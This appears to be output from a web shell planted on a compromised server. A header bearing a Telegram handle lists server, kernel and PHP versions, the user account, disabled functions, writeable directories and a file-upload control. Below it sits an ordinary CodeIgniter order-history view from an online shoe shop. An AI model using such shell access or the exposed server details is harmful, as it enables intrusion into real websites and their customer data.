https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/kamariallee.com/public_html/application/views/account/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/kamariallee.com/public_html/application/views/account/order_history.php
<div class="mb-0">
  <section id="myAccountNav" class="mx-auto">
      <div class="bg-secondary md:bg-primary p-4"> 
        <div class="flex justify-between items-center">
          <h1 class="text-secondary font-custom md:text-secondary text-xl mdtext-3xl hidden md:block">My Account</h1>
          <div class="flex justify-between items-center">
            <a href="<?= base_url('account/profile'); ?>"><span class="text-white md:text-secondary font-custom mr-8">Profile</span></a>
            <a href="<?= base_url('account/shipping'); ?>"><span class="text-white md:text-secondary font-custom mr-8">Address</span></a>
            <a href="<?= base_url('account/order_history'); ?>"><span class="text-white md:text-secondary font-custom mr-8">Purchase List</span></a>
            <a href="<?= base_url('register/logout'); ?>"><span class="text-white md:text-secondary font-custom">Logout</span></a> 
          </div>
        </div>
      </div>  
    </section>
    <div id="cartContainer" class="px-8 md:px-0 max-w-5xl mx-auto">  
      <h1 id="loginRegisterHeading" class="font-custom text-secondary text-2xl xs:text-center md:text-left">PURCHASE LIST</h1>   
      <?php if($this->session->flashdata('confirmation')) :?>
        <p class="font-custom text-primary text-center mt-8" style="text-align:center"><?= $this->session->flashdata('confirmation'); ?></p>
      <?php endif; ?>   
      <?php if($this->session->flashdata('error')) :?>
        <p class="font-custom text-primary text-center mt-8" style="text-align:center"><?= $this->session->flashdata('error'); ?></p> 
      <?php endif; ?>   
      <br>  
			<?php if(count($order_history) == 0) : ?>
				<p class="font-custom">Purchase list not available.</p>
			<?php else : ?>
				<div id="tableForDesktop" class="table-responsive orderHistory" style="overflow-x:scroll">
					<table class="customTable font-custom">
						<thead>
							<tr>
								<th>Order No</th>
								<th>Order Date</th> 
								<th>Amount</th>
								<th>Item Details</th>
								<th>Order Status</th>
							</tr>
						</thead>
						<tbody>
							<?php foreach ($order_history as $item) : ?>
								<!-- Form Start --> 
								<?= form_open('account/payment_confirmation'); ?>  
								<input type="hidden" name="order_id" value="<?= $item->id_orders; ?>">         
								<tr>
									<td style="padding:6px; vertical-align:top;"><?= $item->id_orders; ?></td>
									<td style="padding:6px; vertical-align:top;">
									<?php
										$order_date = strtotime($item->order_date); 
										$new_date = date('j/m/Y', $order_date);
										echo $new_date;
									?>	
									</td>
									<td style="padding:6px; vertical-align:top;">Rp <?= number_format($item->total_amount); ?></td>
									<td style="padding:6px; vertical-align:top;">  
										<?php
											$order_id = $item->id_orders;
											$this->db->select('*');
											$this->db->from('orders_detail');
											$this->db->where('orders_id', $order_id);
											$query = $this->db->get();		
											$orders_detail = $query->result();
										?>
										<?php foreach ($orders_detail as $order_detail) : ?>
											<p><?= $order_detail->item_name; ?>, <?= $order_detail->quantity; ?> pcs @Rp <?= number_format($order_detail->item_price); ?>
											<br>
											<?php $attributes_arr = json_decode($order_detail->attributes); ?>
											<br>
											SKU <?= $order_detail->sku; ?>, Color <?= $attributes_arr->color; ?>, Size <?= $attributes_arr->size; ?>
											<?php if(isset($attributes_arr->chosenHeelsType)) : ?>
												<br>
												Heels Type: <?= $attributes_arr->chosenHeelsType; ?>.
											<?php endif; ?>   
											<?php if(isset($attributes_arr->chosenHeelsHeight)) : ?>
												<br>
												Heels Height: <?= $attributes_arr->chosenHeelsHeight; ?>.
											<?php endif; ?>   
											<?php if(isset($attributes_arr->chosenPlatformStyle)) : ?>
												<br>
												Platform Style: <?= $attributes_arr->chosenPlatformStyle; ?>.
											<?php endif; ?>  
											<?php if(isset($attributes_arr->chosenPlatformHeight)) : ?>
												<br>
												Platform Height: <?= $attributes_arr->chosenPlatformHeight; ?>. 
											<?php endif; ?>  
											<?php if(isset($attributes_arr->chosenInitialEngraved)) : ?>
												<br>
												Initial Engraved: <?= $attributes_arr->chosenInitialEngraved; ?>, Design  <?= $attributes_arr->chosenInitialEngravedImage; ?>
											<?php endif; ?>
											<?php if(isset($attributes_arr->greetingcard_text)) : ?>
												<br>
												Greeting Card: <?= $attributes_arr->greetingcard_text; ?>
											<?php endif; ?>
											<br>
											Shipping : <?= ucfirst($item->shipping_type); ?>. Rp<?= number_format($item->shipping_fee); ?>
											<br>
											Payment Type : <?= ucfirst($item->payment_type); ?>
										</td>
											</p>
										<?php endforeach; ?>
									</td>
									<td>
										<?php if ($item->payment_status == 0) : ?>
											Not Paid yet
											<?php if($item->payment_type == 'bank transfer') :?>
												<?php if ($item->payment_confirm == 0) : ?>
													&nbsp;<input type="submit" name="confirm_payment" value="CONFIRM" style="background:#c2b496; color:white; cursor: pointer; border:none; padding:2px; padding-left:5px; padding-right:5px; ">
												<?php else: ?>
													&nbsp;<input type="submit" name="confirm_payment" value="ALREADY CONFIRM" style="background:#c2b496; color:white; cursor: pointer; border:none; padding:2px; padding-left:5px; padding-right:5px;">
												<?php endif; ?>
											<?php endif; ?>
										<?php elseif ($item->payment_status == 1) : ?>
											Paid
										<?php elseif ($item->payment_status == 3) : ?>
											Product Sent
											<br>
											Shipping: <?= $item->shipping_type; ?><br>
											Resi No:  <?= $item->no_resi; ?>
										<?php else : ?> 
											Cancel
										<?php endif; ?> 
									</td>
								</tr>	
								<?php echo form_close(); ?>
							<?php endforeach; ?>
						</tbody>
					</table> 
				</div>
			<?php endif; ?>	
    </div>

https://t.me/RX1948 - 2025